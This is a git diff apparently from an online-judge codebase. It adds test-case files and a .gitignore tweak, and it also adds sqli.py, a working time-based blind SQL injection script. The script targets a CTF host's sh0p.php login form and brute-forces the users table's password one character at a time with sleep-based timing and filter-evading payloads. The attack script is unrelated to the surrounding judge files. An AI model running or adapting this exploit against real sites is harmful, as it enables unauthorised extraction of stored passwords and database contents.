diff --git a/.gitignore b/.gitignore index 2f53043..89215f5 100644 --- a/.gitignore +++ b/.gitignore @@ -61,7 +61,6 @@ static/release/img static/src/upload_image/* build.txt tmp/ -test_case/ release/ upload/ custom_settings.py @@ -69,4 +68,4 @@ docker-compose.yml *.zip rsyncd.passwd -node_modules/ \ No newline at end of file +node_modules/ diff --git a/sqli.py b/sqli.py new file mode 100644 index 0000000..5b33cb2 --- /dev/null +++ b/sqli.py @@ -0,0 +1,29 @@ +# -*- coding:utf-8 -*- + +import requests +import time + +url = "http://web.l-ctf.com:6699/sh0p.php" +ABC_DICT = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', + 'p', + 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '{', '}', '-', ' ', '(', ')', '[', ']', '&', '^', + '%', '$', '@', '!', '<', '>', '?', '~', '*', '+', '=', '`', '#'] +num = 0 +while 1: + for abc in ABC_DICT: + start = time.time() + data = { + "submit": "Submit", + "uname": "flag'/*", + "passwd": "1112*//**/union/**//** lselectect/**/1,IF(SUBSTRING((SESELECTLECT/**/password/**/FROM/**/users)/**/," + + str(num) + ",1)='" + + str(abc) + "',sleep(4),1)#" + } + if num in (1, 5, 10, 11): + #print data + res = requests.post(url, data=data) + stop = time.time() + if stop - start > 4 : + print str(num) + "-------time:" + str(stop - start) + "-------" + str(abc) + + num += 1 \ No newline at end of file diff --git a/tests/test_case/normal/1.in b/tests/test_case/normal/1.in new file mode 100755 index 0000000..8d04f96 --- /dev/null +++ b/tests/test_case/normal/1.in @@ -0,0 +1 @@ +1 2 diff --git a/tests/test_case/normal/1.out b/tests/test_case/normal/1.out new file mode 100755 index 0000000..00750ed --- /dev/null +++ b/tests/test_case/normal/1.out @@ -0,0 +1 @@ +3 diff --git a/tests/test_case/normal/info b/tests/test_case/normal/info new file mode 100755 index 0000000..3a604a7 --- /dev/null +++ b/tests/test_case/normal/info @@ -0,0 +1 @@ +{"test_case_number": 1, "spj": false, "test_cases": {"1": {"striped_output_md5": "eccbc87e4b5ce2fe28308fd9f2a7baf3", "output_size": 2, "output_md5": "6d7fce9fee471194aa8b5b6e47267f03", "input_name": "1.in", "input_size": 4, "output_name": "1.out"}}} diff --git a/tests/test_case/spj/1.in b/tests/test_case/spj/1.in new file mode 100755 index 0000000..8d04f96 --- /dev/null +++ b/tests/test_case/spj/1.in @@ -0,0 +1 @@ +1 2 diff --git a/tests/test_case/spj/info b/tests/test_case/spj/info new file mode 100755 index 0000000..6b3cef4 --- /dev/null +++ b/tests/test_case/spj/info @@ -0,0 +1 @@ +{"test_case_number": 1, "spj": true, "test_cases": {"1": {"input_name": "1.in", "input_size": 4}}} diff --git a/tests/test_case/spj/spj-1.c b/tests/test_case/spj/spj-1.c new file mode 100644 index 0000000..1984ee3 --- /dev/null +++ b/tests/test_case/spj/spj-1.c @@ -0,0 +1,6 @@ + + #include + int main(){ + return 1; + } + \ No newline at end of file